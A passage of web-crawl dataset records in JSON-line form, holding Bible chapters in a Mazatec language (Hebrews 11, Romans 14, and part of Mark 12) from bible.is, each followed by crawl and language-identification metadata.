4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Heb\/4","date":"2013-12-06T08:02:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163050081\/warc\/CC-MAIN-20131204131730-00021-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":503,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.334,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè kjoa̱ ra makjiín‑ná, jé‑ní nga tjín kixi̱‑ná nga tjábé‑ná jñà kjoa̱ ra chiñá‑lá; jè‑ní nga tjíjngoó takén nga tjín kitií jñà kjoa̱ ra takó kjè kì tsijen‑la̱ xkén. 2Ta nga̱tjì‑la̱ nga ndaá kjokjiín‑la̱ jñà xi̱ta̱ jchínga ra ki'se kjotseé, ndaá kina'yà‑la̱ ra a̱'ta 'tse̱. 3Ki‑ní nga makjiín‑ná, nga ko̱'sín machi̱ya‑ná nga jè Nainá, ngi tà 'én tsikínda‑ni jè i̱sà'nde nga isikatsíjen tsajmì ra mì kì tsijen‑ni nga ti̱'sa̱ ítjòn. 4Jè xi̱ta̱ ra ki'mì Abel, ta ki‑ní nga kjokjiín‑la̱ nga ko̱'sín isa̱ nda kjòn kjo̱tjò ra kitsjà a̱'ta 'tse̱ Nainá, ko̱ mì 'koa̱‑ni koni jñà 'tse̱ Caín. 'Koa̱á 'sín kjomà‑ni nga Nainá nda kisasèn‑la̱ jè kjo̱tjò ra kitsjà‑la̱ ko̱ xi̱ta̱ kixi̱ kitsò‑la̱. Ni̱'sín ijye 'ken, skanda ni̱chjin 'ndi̱ 'ndi̱, takó 'koa̱á 'sín tíchja̱ koni 'sín nga kjokjiín‑la̱. 5Jè xi̱ta̱ ra ki'mì Enoc, ta ki‑ní nga kjokjiín‑la̱, nga ko̱'sín kiìko̱ tíkon Nainá ya̱ ján ngajmi, ko̱ mì tsa kjo̱biya kijtse, ko̱ mì ti̱ kì isakò‑ni ta nga̱tjì‑la̱ nga̱ ijyeé kiìko̱ Nainá. Ko̱ 'kia̱ nga ti̱kje fìko̱, 'koa̱á 'sín na'yá‑la̱ nga nda‑ró kisasèn‑la̱ Nainá koni 'sín nga ki'sìn. 6Tanga tsa mì kì makjiín‑ná, mì kì ko̱ma ki̱tjasòn‑ná kjoa̱ ra sasén‑la̱ Nainá. Nga̱ jè xi̱ta̱ ra mejèn‑la̱ nga chraña kíjna‑la̱ Nainá, machjeén‑ní nga nda katakjiín‑la̱ nga tíjnaá ra 'mì Nainá; ti̱'koa̱á katakjiín‑la̱ nga jè‑ní ra sínga̱tsja kjo̱nda jñà xi̱ta̱ ra bátsji. 7Jè xi̱ta̱ ra ki'mì Noé, 'kia̱ nga tsi'kéna̱jmí‑la̱ Nainá kjoa̱ ra ko̱ka̱ma a̱skan‑nioo̱ ra takó kjè kì 'ya‑la̱, kií‑ní nga kjokjiín‑la̱ nga ngi ko̱ó kjo̱skon‑la̱ tsikínda jngo chitso ra 'ñó je 'ki, mé‑ni nga kjomà tsatojin‑ni kjo̱xkón nga mì kì 'ken nga'tsì xi̱ta̱ ra tjíhijyo ya̱ ni'ya‑la̱. Noé, ta nga̱tjì‑la̱ nga nda kjokjiín‑la̱ ra jè, 'koa̱á 'sín isinè‑la̱ kjo̱hi'in nga'tsì xi̱ta̱ i̱sà'nde, ko̱ jè Noé itjábé‑la̱ kjo̱tjò ra tsjá Nainá nga xi̱ta̱ kixi̱ kjomà ya̱ ngixko̱n, ta nga̱tjì‑la̱ nga kjokjiín‑la̱. 8Jè xi̱ta̱ ra ki'mì Abraham, 'kia̱ nga kiìchja̱‑la̱ Nainá, kií‑ní nga kjokjiín‑la̱ nga isìhitjasòn ko̱ itjojiín ya̱ nangi‑la̱ nga kijì skanda ya̱ i̱'nde ñánda̱ nga tà kjo̱tjò tsjá‑la̱ Nainá. Kijí‑ní ni̱'sín mì kì be ñánda̱ nga tífì. 9Tà nga̱tjì‑la̱ nga kjokjiín‑la̱, ya̱á isíjchá ijo‑la̱ koni xi̱ta̱ xìn nangi ya̱ i̱'nde ñánda̱ nga ko̱'sín kitsò‑la̱ Nainá nga tsjá kjo̱tjò‑la̱. Ni'ya nikjeé tsikitsa̱jnaya; 'koa̱á ti̱'sín tsikitsa̱jna Isaac ko̱ Jacob, ra ti̱'koa̱ ti̱'sín tsi'kìn‑te‑la̱ nga tjábé kjo̱tjò‑te‑la̱ jè nangi. 10Nga̱ jè Abraham, jè tíkoñá‑la̱ jngo na̱xi̱ndá ra ijye 'ñó nda tjín‑la̱ nga'ñó kó'sín nga tíjna tjà'tsin chrjó‑la̱, ra jè Nainá iskosòn‑la̱ kó'sín nga sinda, ko̱ ti̱jé‑ni Nainá ra tsikínda. 11Ti̱'koa̱á ta kií‑ní nga nda kjokjiín‑la̱ Abraham nga ki'se‑la̱ nga'ñó ni̱'sín ijye 'ñó xi̱ta̱ jchínga, kjamà isakò jngo‑la̱ i'ndí jè ndí chjo̱ón‑la̱ ra 'mì Sara ni̱'sín chjo̱ón 'ndi̱, nga̱ kjokjiín‑la̱ nga Nainá síhitjasón‑ní koni 'sín nga kitsjà kixi̱‑la̱ tsa'ba. 12'Koa̱á ma‑ni nga ta ya̱ ta̱jngoó a̱'ta 'tse̱ xi̱ta̱ ra̱kìi̱ inchrabà‑ni tje̱‑la̱ nga kjín jchán i̱xti ki'se‑la̱ ni̱'sín ijye 'ñó xi̱ta̱ jchínga nga tífehe'ta ni̱chjin‑la̱. 'Koa̱á 'sín kjín jchán ma‑ni i̱xti‑la̱ koni jñà nitse ra tjín ya̱ ján ngajmi ko̱ koni jñà chrjo̱ ra tjín ya̱ a̱ndi ndáchikon ra mì kì ma maxki̱ya. 13Nga'tsì jñà xi̱ta̱ kìi̱, 'koa̱á 'sín makjiín‑la̱ skanda nga 'ken, ni̱'sín mì kì itjábé‑la̱ jè ra ijye Nainá ko̱'sín kitsjà‑la̱ tsa'ba nga tsjá‑la̱; tanga ta 'koa̱á 'sín kjòchi̱ya‑la̱ koni tsa ta kjiín kijtse‑ni, ko̱ tsjaá ki'se‑la̱, ko̱ 'koa̱á 'sín kitsò nga mì tsa i̱ i̱'nde‑la̱ nga ta asa i̱nchi'fahato i̱ a̱'ta nangi. 14Jñà xi̱ta̱ ra ko̱'sín tsò, 'koa̱á 'sín 'bena̱jmíya kixi̱‑ná nga 'sa̱á i̱nchibátsji jngo nangi ra ngi 'tse̱ ki̱tso̱‑la̱. 15Tsa jé‑la i̱nchisíkítsjen jè nangi ya̱ ñánda̱ nga itjokàjin‑ni, mí‑la kì mé chjá kjomà‑la̱ tsa tsáfa india‑ni nga kijì‑ni ya̱ ñánda̱ nga itjokàjin. 16Tanga jè i̱nchibátsji jngo nangi ra isa̱ nda chon, jè ra ján ngajmi tíjna. 'Koa̱á ma‑ni nga Nainá mì kì masabà‑la̱ nga Nainá 'tse̱ tsò‑la̱; ko̱ ijyeé isíkíjnanda jngo‑la̱ i̱'nde ñánda̱ nga na̱xi̱ndá‑la̱ ko̱ma nga ya̱ kítsa̱jna. 17Jè Abraham, 'kia̱ nga itjá'ta a̱'ta 'tse̱ Nainá, ta kií‑ní nga makjiín‑la̱ nga iskábé jè Isaac nga tsjá‑la̱ Nainá koni jngo kjo̱tjò, ko̱ tsikijnanda‑ní nga tsjá i'ndí‑la̱ ra tà jè ta̱jngo ma‑ni, ni̱'sín xá ko̱'sín kitsjà‑ni 'én‑la̱ Nainá a̱'ta 'tse̱ i'ndí‑la̱, 'kia̱ nga kitsò: 18\"A̱'ta 'tse̱é Isaac, nga kjìn jchán ko̱ma tje̱‑li.\" 19Abraham, 'koa̱á 'sín kjòchi̱ya‑la̱ nga jè Nainá tjín‑la̱ nga'ñó nga ma‑la̱ si̱ìkjaáya‑la̱ xi̱ta̱ ni̱'sín ijye 'ken. 'Koa̱á ma‑ni nga itjábé india‑ila̱ jè i'ndí‑la̱ koni tsa jaáya‑ila̱ ra a̱'ta 'tse̱ kjo̱biya. 20Jè Isaac, kií‑ní nga makjiín‑la̱ nga isíjé‑la̱ Nainá nga katasíchikon'tin jè Jacob ko̱ jè Esaú a̱'ta 'tse̱ kjoa̱ ra ko̱ka̱ma'tin a̱skan‑nioo̱. 21Jè Jacob, 'kia̱ nga ijye mejèn tíbiya, kií‑ní nga makjiín‑la̱ nga isíjé‑la̱ Nainá nga katasíchikon'tin ngajò i̱xti‑la̱ José; síngi'ñóko̱ò‑ni yá koròti̱‑la̱, jeya isíkíjna Nainá. 22Jè José, 'kia̱ nga ijye mejèn tíbiya, kií‑ní nga makjiín‑la̱ nga tsi'kéna̱jmí‑ni kó'sín ko̱ma jñà xi̱ta̱ Israel nga ki̱tjokajin ya̱ na̱xi̱ndá Egipto. Ti̱'koa̱á kitsjà kjo̱hixi̱ ra a̱'ta 'tse̱ ninda‑la̱ kó'sín si̱ko̱. 23Jñà xi̱ta̱ jchínga‑la̱ Moisés, kií‑ní nga kjokjiín‑la̱ nga ján sá isíkíjna'ma i'ndí‑xó‑la̱ 'kia̱ nga ti̱'sa̱ kitsin, nga̱ kijtse‑ní nga 'ñó nda 'ki, ko̱ mì kì itsakjòn‑la̱ kjo̱téxoma‑la̱ xi̱ta̱xá 'tse̱ na̱xi̱ndá Egipto. 24'Kia̱ nga ijye kjójchínga Moisés, ta kií‑ní nga kjokjiín‑la̱ nga mì kì tsa na̱‑la̱ kitsò‑la̱ jè tsati‑la̱ Faraón. 25Tà isa̱á jè kjomejèn‑la̱ nga kjo̱hi'in isìkjiín ko̱ jè na̱xi̱ndá‑la̱ Nainá, ko̱ mì tsa jè kjomejèn‑la̱ nga kjo̱tsja tsjá‑la̱ ijo‑la̱ ra kjoa̱ 'tse̱ jé. 26'Koa̱á 'sín kiskosòn‑la̱ nga isa̱á 'ñó chjí‑la̱ kjo̱hi'in ra si̱ìkjiín a̱'ta 'tse̱ Cristo [ra xá isìkasén‑ni Nainá] ko̱ nda mí 'koa̱‑ni nga kjo̱tsja tsjá‑la̱ ijo‑la̱ ya̱ a̱'ta 'tse̱ kjoa̱nchi̱ná 'tse̱ na̱xi̱ndá Egipto. Jè iskoñá‑la̱ kjo̱tjò ra a̱skan tsjá‑la̱ Nainá. 27Kií‑ní nga ti̱'koa̱ nda kjokjiín‑la̱ nga itjokàjin ya̱ na̱xi̱ndá Egipto; mì kì itsakjòn‑la̱ jè kjo̱jti‑la̱ xi̱ta̱xá ítjòn; 'ñó tsi'ké‑la̱ ikon koni tsa tíkotsíjen kjòn‑la̱ jè Nainá ra kjè kì yá ra be. 28Jè Moisés, kií‑ní nga nda kjokjiín‑la̱, nga tsachrje 'sí paxko̱. Ko̱ 'koa̱á 'sín kitsò‑la̱ nga'tsì xi̱ta̱ Israel nga jní si̱ikajàjno ya̱ xo̱tjo̱ba̱ ni'ya‑la̱, mé‑ni nga jè ìkja̱li̱‑la̱ Nainá mì kì si̱ì'ken nga jngó jngó i̱xti‑tjòn‑la̱ xi̱ta̱ kìi̱. 29Jñà xi̱ta̱ Israel, kií‑ní nga kjokjiín‑la̱ nga ma tsatojin jè ra 'mì Ndáchikon Inì koni tsa nangi kixì. 'Kia̱ nga kjomejèn‑la̱ nga ti̱'koa̱ ti̱'sín tsatojin jñà xi̱ta̱ Egipto, ya̱á 'ken‑jin nandá nga'tsiòo̱. 30Kií‑ní nga kjokjiín‑la̱ jñà xi̱ta̱ Israel nga ixojen jñà chrjó ra tjíndi‑la̱ na̱xi̱ndá Jericó, 'kia̱ nga ijye kjo ito ni̱chjin i̱nchibítjindi‑la̱. 31Kií‑ní nga kjokjiín‑la̱ jè chjo̱ón ra ki'mì Rahab ra chjo̱ón chijngi nga mì kì ya̱ 'ken‑ko̱ jñà xi̱ta̱ ra mì kì makjiín‑la̱, nga̱ jè chjo̱ón ra̱kìi̱, ndaá kijtsetjò jñà xi̱ta̱ Israel ra ta ijchò katsíjen 'ma ítjòn‑la̱ ya̱ nangi ra̱kìi̱. 32¿Mé kjoa̱ ra ta 'kenájmí‑isa? Mì kì ki̱chóya‑la̱ ni̱chjin nga kichjà ra a̱'ta 'tse̱ Gedeón, ra a̱'ta 'tse̱ Barac, ra a̱'ta 'tse̱ Sansón, ra a̱'ta 'tse̱ Jefté, ra a̱'ta 'tse̱ David, ra a̱'ta 'tse̱ Samuel ko̱ ra a̱'ta 'tse̱ nga'tsí xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱. 33Jñà xi̱ta̱ kìi̱, kií‑ní nga kjokjiín‑la̱, nga ki'seé i'ka ra isikijne‑la̱ nga iskajàn‑ko̱ na̱xi̱ndá ra i'i; ki'seé i'ka ra kixi̱í tsikíndajín kjoa̱; ki'seé i'ka ra itjábé‑la̱ ra Nainá ijye ko̱'sín kitsjà‑la̱ tsa'ba nga tsjá‑la̱; ko̱ ki'seé i'ka ra tsikíchjàjto tsa'ba xa. 34Ko̱ ki'seé i'ka ra ma‑la̱ isìkji'tso ni'í ra bato 'ñó tsjè, ra ma jahachinga 'kia̱ nga ijye kja̱me ki̱cha̱ ndajò tínì'ken‑ni, ra ki'se india‑ila̱ nga'ñó 'kia̱ nga kjòhinda, ra 'ñó ki'se‑la̱ nga'ñó kjoa̱ 'tse̱ kjo̱jchán, ra isikijne‑la̱ xi̱ta̱ kjo̱jchán ra iskajàn‑ko̱ ra kondra̱ 'tse̱. 35Ki'se íchjín ra itjábé india‑ila̱ xi̱ta̱ xákjén ra ijye 'ken, 'kia̱ nga jaáya‑ila̱ a̱'ta 'tse̱ kjo̱biya. Tanga ti̱'koa̱á ki'se i'ka xi̱ta̱ ra ya̱ 'ken‑jín ya̱ kjo̱hi'in; mì kì kjomejèn‑la̱ nga tsikìtsa̱jnandi̱í‑ni; jè ra kjomejèn‑la̱ nga isa̱ ndaá kítsa̱jna 'kia̱ nga kjoa̱áya‑la̱. 36Tjín i'ka ra isìkjiín kjo̱hi'in nga isìtsja'tin xi̱ta̱, nga iskajàn‑ko̱, skanda na'ñó ki̱cha̱ cadena isi'tá'ñó ya̱ a̱ya nda̱yá. 37Tjín ra na̱jo̱ isinè nga ini'ken; tjín ra serrúcho ngi inìjòya‑ni; tjín ra ki̱cha̱ ndajò 'ken‑ni. Ko̱ tjín ra jndíi̱ ra ján tsikima, nga ta chrja̱ba̱‑la̱ forrè ko̱ tà chrja̱ba̱‑la̱ tíndsó tsakjaya. Tseé kjo̱hi̱ma̱ ko̱ tseé kjo̱hi'in kisìkjiín ko̱ 'ñó ki'yaton. 38Jñà xi̱ta̱ kìi̱, [ta nga̱tjì‑la̱ nga 'ñó nda kjokjiín‑la̱ a̱'ta 'tse̱ Nainá] skanda mí kì tsakìn‑la̱ nga tsikitsa̱jna i̱ i̱sà'nde. Nga̱ jndíi̱ ra ján tsinchimasòn ya̱ i̱'nde kixì ñánda̱ ni̱mé tjín, ko̱ ya̱ a̱sòn nindo; ko̱ ya̱ ñánda̱ ngijo chon ko̱ ya̱ a̱ya nga̱jo̱ ra tjín ya̱ a̱jin nangi. 39Nga'tsì xi̱ta̱ kìi̱, ta ki‑ní nga nda kjokjiín‑la̱ nga nda ki'yaxkon‑la̱ tanga ni̱jngo ra itjábé‑la̱ ra Nainá ijye kitsjà tsa'ba nga tsjá‑la̱. 40Tanga jè Nainá tsikínda jngo‑ná kjoa̱ ra isa̱ nda tjín, mé‑ni nga jñà xi̱ta̱ kìi̱, ta ngásòn kjòn ko̱ma‑ná nga mì mé jchi̱ja'ta‑ná nga xi̱ta̱ kixi̱ ko̱meé.\nHebreos 11","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Heb\/11","date":"2013-12-04T17:38:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163036037\/warc\/CC-MAIN-20131204131716-00067-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000096559524536}","num_words":1389,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.344,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Chjoétjò xi̱ta̱ xinguio̱o xi mìkiì tíjngoò ikon mé kjoa̱ xi tjí'nde‑la̱ nga s'i̱in; kì chibàya‑nò jñà kjoa̱ xi mìkiì mangásòn kjo̱hítsjeèn‑nò. 2Tjín xi̱ta̱ xi k'oa̱s'ín mokjeiín‑la̱ nga ma chine yije tsojmì xi tjín, ti̱koa̱ tjín xi̱ta̱ xi mìkiì mokjeiín‑la̱ tsà ma chine yije tsojmì xi tjín. Tà jñà tsojmì xi nangui síjchá kine. 3Jè xi kine yije tsojmì xi ma chine mìkiì ko̱ma ko̱chrjekàngui jè xi mìkiì ma‑la̱ kine yije tsojmì; ko̱ jè xi mìkiì ma‑la̱ kine yije tsojmì, mìkiì ko̱ma ki̱chja̱jno‑la̱ jè xi ma‑la̱ kine yije tsojmì xi tjín, nga Nainá jyeé kiskoétjò nga ki'ndí‑la̱ ma. 4¿Yá‑né ji̱ nga nìkindi̱i chi̱'nda xi mìtsà tsi̱ji? Nga chi̱'nda ts'e̱ Nainá‑né. Jè chi̱'nda jè, kinda̱ ts'e̱é nei‑la̱ tsà kixi̱ tíjna ko̱ tsà mì kixi̱ tíjna. Ta̱nga kixi̱í kíjna, nga̱ jè Na̱'èn‑ná tjín‑la̱ nga'ñó nga kixi̱ si̱ìkíjna. 5Tjín xi̱ta̱ xi tsò: tjín na̱chrjein xi ìsa̱ xkón. Ti̱koa̱ tjín xi tsò: Na̱chrjein, tà ngásòn ngaya‑né nga na̱chrjein nchijòn. Nga jngoò ìjngoò xi̱ta̱, k'oa̱á s'ín ndaà katíjngoò‑la̱ ikon koni s'ín síkítsjeèn. 6Jñà xi̱ta̱ xi faájiìn jngoò na̱chrjein nga beèxkón, k'oa̱á s'ín nga jeya síkíjna Na̱'èn‑ná; koa̱ jñà xi̱ta̱ xi tsò nga ta ngásòn ngáya na̱chrjein, ti̱koa̱á k'oa̱á s'ín s'ín nga ti̱koa̱ jeya síkíjna Na̱'èn‑ná. Jñà xi̱ta̱ xi kine yije tsojmì, i̱t'aà ts'e̱ Na̱'èn‑ná kine, nga tsjá‑la̱ kjo̱ndaà Na̱'èn‑ná k'e̱ nga kine; k'oa̱ jñà xi̱ta̱ xi tsò nga tjín tsojmì xi mìkiì ma chine, ti̱koa̱á i̱t'aà ts'e̱é Na̱'èn‑ná nga mìkiì kine tsojmì, ko̱ ti̱koa̱á tsjá‑la̱ kjo̱ndaà Na̱'èn‑ná. 7Jñá, k'e̱ nga titsa̱jnakoaán, mìtsà koi xá titsa̱jnakon‑ná xi ta kjo̱ndaà tsa̱ján. Ko̱ k'e̱ nga ki̱yá, mìtsà ta kjo̱ndaà tsa̱ján ki̱nchátsjiaá nga ki̱yá. 8Ta̱nga k'e̱ nga titsa̱jnakoaán, koií xá titsa̱jnakoaán xi kjo̱ndaà ts'e̱ Na̱'èn‑ná. Ko̱ nga ki̱yá, ti̱koa̱á koií xá ki̱yá‑aná xi kjo̱ndaà ts'e̱ Na̱'èn‑ná. K'oa̱á ma‑ne tsà titsa̱jnakoaán ko̱ tsà ki̱yá kjo̱ndaà ts'e̱ Na̱'èn‑ná nga ts'e̱ tsò‑ná. 9Koií kjoa̱‑la̱ nga k'en Cristo koa̱ jaáya‑la̱ nga tsibìjnakon‑né, mé‑ne nga jè ko̱ma‑ne Nei‑la̱ jñà xi̱ta̱ xi biyaà ko̱ xi títsa̱jnakon. 10Ta̱nga ji̱ xi nokjoàjno‑la̱ 'ndsì, ¿mé‑ne koa̱'nè‑ne? Ti̱koa̱á ji̱ xi nachrjekàngui 'ndsì, ¿mé‑ne nachrjekàngui‑ne? Nga ngats'iì‑ná ki̱jchò kinchanguiaá ndso̱ko̱ Cristo ñánda nga jè tíhotíxoma. 11K'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: Tsò Na̱'én‑ná: 'A̱n tìjna̱kon‑ná, ngats'iì xi̱ta̱ ki̱ncha-xkó'nchit'aà‑na ko̱ ngats'iì xi̱ta̱ skoe̱xkón Nainá. 12Ngats'iaá k'oi̱‑lá kinda̱ Nainá mé kjoa̱ xi ki'né nga tsitsa̱jnaá i̱sò'nde. 13K'oa̱á ma‑ne nga mì ti̱ xinguia̱á ki̱nókjoa̱jno‑lá; jñò, ta sa̱á ndaà ti̱kítsjeèn nga ni̱mé xi s'e̱en xi si̱kits'ón‑jiìn koni s'ín mokjeiín‑la̱ xinguio̱o mé‑ne nga mì jé ska̱jiìn ìjngoò k'a‑ne. 14'A̱n ndaà tíjngoò takoàn i̱t'aà ts'e̱ Na̱'èn‑ná Jesús nga kixi̱ kjoa̱ nga tsjìn tsojmì xi xkón tjín nga mìkiì ma chine; ta̱nga jè xi̱ta̱ xi k'oa̱s'ín síkítsjeèn nga tjín tsojmì xi xkón tjín nga mìkiì ma chine, xkón tjín‑la̱ i̱t'aà ts'e̱ tsà ski̱ne̱. 15Ta̱nga tsà ta koií kjoa̱‑la̱ ts'e̱ tsojmì xi chiniì, jè 'ndsì ch'o ma‑la̱, jè kjoa̱ xi tì'nì mìtsà ti̱ kjoa̱tjòcha‑ne; kì kiì biì'ndi nga jè 'ndsì xi Cristo k'en ngajo‑la̱ ki̱ts'ón‑jiìn‑la̱ xi tà kjoa̱ ts'e̱ tsojmì xi chiniì. 16Kì k'oa̱á s'ín 'nè mé‑ne nga mì xi̱ta̱ ki̱chja̱jno‑nò i̱t'aà ts'e̱ kjoa̱ xi titsa̱'nè nga k'oa̱s'ín mokjeiín‑nò nga ndaà tjín. 17K'e̱ nga jè Nainá tíhotíxoma‑ná mìtsà jè xi ìsa̱ 'ñó chjí‑la̱ mé xi s'ioa̱á ko̱ mé xi chi̱ne̱é. Jè xi 'ñó mochjeén nga kixi̱ ki̱tsa̱jnaá, 'nchán si̱jchá yijo‑ná, ko̱ tsja k'oé‑lá ini̱ma̱‑ná; koi kjoa̱ xi tsjá Ini̱ma̱ Tsjeè‑la̱ Nainá. 18Jè xi k'oa̱s'ín síkitasòn kjoa̱ koi k'e̱ nga síxá‑la̱ Cristo, ndaà sasén‑la̱ nguixko̱n Nainá, ti̱koa̱á ndaà bìjna nga nguixko̱n xi̱ta̱. 19K'oa̱á s'ín kjitji̱ngui‑lá kjoa̱ xi 'nchán síkíjna‑ná ko̱ kjoa̱ xi 'bì‑lá nga'ñó xinguia̱á nga jngoò jngoaá koni s'ín mokjeiín‑ná. 20Kì xá‑la̱ Nainá nìkits'ón‑jiìn‑la̱ xi ta kjoa̱ ts'e̱ tsojmì xi ma chine. Kixi̱í kjoa̱, ngats'iì tsojmì xi tjín, tsjeè‑né. Ta̱nga jè xi ch'o tjín k'e̱ nga ta koi kjoa̱‑la̱ tsojmì xi chineé bits'ón‑jiìn‑la̱ kjoa̱ xi mokjeiín‑la̱ i̱t'aà ts'e̱ Nainá jñà xi̱ta̱ xi kj'ei̱í. 21Ìsa̱á ndaà‑ne nga mì yijo chji̱ne̱é, nga mì xán s'ioa̱á, nga ni̱mé kjoa̱ xi s'e̱én jè xi si̱ìkits'ón‑jiìn‑la̱ jè 'ndsì nga sakó‑la̱ jé. 22Koni s'ín mokjeiín‑lè i̱t'aà ts'e̱ kjoa̱ koi, tà ji̱í tíjiìn takoìn ko̱ Nainá. ¡Mé ta ndaà‑la̱ jè xi mì kjo̱'in bínè‑la̱ yijo‑la̱ k'e̱ nga tíjngoò ikon nga ndaà tjín kjoa̱ xi s'ín! 23Jè xi jò tjín‑la̱ k'e̱ nga mé tsojmì xi kine, jé tíhónè‑la̱ yijo‑la̱ nga mìkiì tjíjngoò ikon tsojmì xi kine. Tsà mìkiì tjíjngoò takoán k'e̱ nga mé kjoa̱ xi s'e̱én, jé titsa̱honè‑lá yijo‑ná.\nRomanos 14","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/14","date":"2013-12-09T08:12:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163936569\/warc\/CC-MAIN-20131204133216-00008-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000081062316895}","num_words":714,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.331,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tsikí'tsia̱ Jesús nga tsi'kéna̱jmíya kjoa̱ ra ma mangásòn‑kjo. Kitsò: ―Jngo xi̱ta̱ tsikítje̱jin to uva ya̱ nangi‑la̱, ko̱ a̱kjòn tsikíchjàndi‑la̱, ko̱ tsikínda jngo i̱'nde ñánda̱ nga ki̱tjo jè nandá‑la̱ to uva. Ti̱'koa̱á tsikíndaá jngo ni'ya ra tsikísòn'nga mé‑ni nga ma ko̱kinda̱‑ni nga'tsiòo̱. A̱kjòn isikiña‑la̱ jè nangi‑la̱ jñà xi̱ta̱, mé‑ni nga si̱íxáko̱‑ni. Ko̱ a̱kjòn kjiín kijì ni‑la̱ nangi ra̱kìi̱. 2'Kia̱ nga ijchò ni̱chjin‑la̱ nga kjójchá to uva, jè ni‑la̱ nangi isìkasén jngo xi̱ta̱ chi̱'nda‑la̱ nga 'ji síjé ra jè bako̱‑la̱ nga tjábé chiba‑la̱ 'tse̱ tsajmì ra kjójchá. 3Tanga jñà xi̱ta̱ ra isíxájin nangi, tà iskajàn‑ko̱‑ní; tà isìkasén tiyaá‑ni. 4Jé ni‑la̱ nangi isìkasén ìjngo xi̱ta̱ chi̱'nda‑la̱. Ti̱'koa̱á tà na̱jo̱ó tsikínè‑te, ngi kitií sko̱, 'ñó kijtseton. 5Jè ni‑la̱ nangi ìjngo‑isa isìkasén xi̱ta̱ chi̱'nda‑la̱. Jè ra̱kìi̱, isì'ken‑ní. Kjín isìkasén‑isa xi̱ta̱ chi̱'nda‑la̱, tanga tjín ra iskajàn‑ko̱, ko̱ tjín ra isì'ken. 6'Jè ni‑la̱ nangi ta jngoó xi̱ta̱ tíjna‑isa‑la̱; tà jé‑ní ra ti‑la̱ ma, jè ra 'ñó tsjake; ti̱'koa̱á isìkasén‑te, kitsò: \"Ske̱xkón‑la ra jè ti‑na̱.\" 7Tanga jñà xi̱ta̱ ra i̱nchisíxá‑jin nangi, tsajo̱óya‑ni, kitsò‑la̱ xákjién: \"Jé‑la ra̱kìi̱ ra 'tse̱ ki̱tso̱‑la̱ nangi, si̱'keén mé‑ni nga tsa̱jién 'kín ijye‑lá nangi.\" 8A̱kjòn itsabá'ñó nga isì'ken. Tsachrjejin ijo‑la̱ ya̱ ñánda̱ tjín to uva. 9'¿Kó bixó jiòn? ¿Jè ni‑la̱ nangi, mé ra si̱ìko̱ jñà xi̱ta̱ kìi̱? Kj'i̱í‑la nga kj'i̱í sí'ken jñà xi̱ta̱ kìi̱, a̱kjòn kj'ií xi̱ta̱ si̱ìnga̱tsja nangi‑la̱ ñánda̱ tjín‑la̱ to uva. 10'¿A skanda kjeé chitá'yá jiòn jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá ñánda̱ tsò?: Jè na̱jo̱ ra tsachrjengi jñà xi̱ta̱ ra bínda chrjó, jé tíma‑ni na̱jo̱ nga'ñó ra síjna ítjòn ya̱ nga chrja̱ngi̱‑la̱ ni'ya. 11Jé Nainá ra ko̱'sín tí'sín. Ko̱ ta maxkón‑ná 'kia̱ nga 'yeé jñà kjoa̱ kìi̱. 12Jñà xi̱ta̱ kìi̱, mején‑la̱ jtsa̱ba̱'ñó jè Jesús, nga̱ kiìyaá‑la̱ jè kjoa̱ mangásòn ra tsi'kéna̱jmí Jesús, nga kondra̱ 'tse̱‑ní koni 'sín nga kitsò. Tanga jñá itsakjòn‑la̱ xi̱ta̱ na̱xi̱ndá; ta kitsjiín jnchro, a̱kjòn kijì‑ni. 13Jñà xi̱ta̱ kìi̱, iskanìtji̱ngií i'ka‑la̱ Jesús xi̱ta̱ Fariseo ko̱ xi̱ta̱ 'tse̱ Herodes nga mejèn‑la̱ sa̱kò‑la̱ kó'sín si̱ìko̱ nga koa̱àngi. 14Xi̱ta̱ kìi̱, kitsó‑la̱: ―Maestro, 'ya‑náji̱n nga 'én kixi̱í 'bèna̱jmí. Ko̱, mì tsa ki nikìndi̱ tsa kótsò‑li jñà xi̱ta̱. Mì kì tsa chjaájin ko̱ mì kì tsa ya̱ chitsíjen‑jníi̱ xi̱ta̱. 'Koa̱á 'sín kixi̱ 'bèna̱jmíyi koni 'sín tjín ndi̱yá‑la̱ Nainá. ¿A ndaá tjín nga kíchjítjié tsajmì a̱'ta 'tse̱ César, xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ Roma, o̱ ra majìn‑ní? ¿A kíchjí‑ná o̱ ra mì kì kíchjié? 15Tanga Jesús kjòchi̱yaá‑la̱ nga jò tjín inìma̱‑la̱ xi̱ta̱ kìi̱; kitsó‑la̱: ―¿Mé‑ni nga 'a̱n mejèn‑no chìndo̱cha̱‑ná? Nchrabáko̱ jngo‑ná to̱n, mé‑nì nga ske‑na kó'ki. 16'Kia̱á kiìko̱ 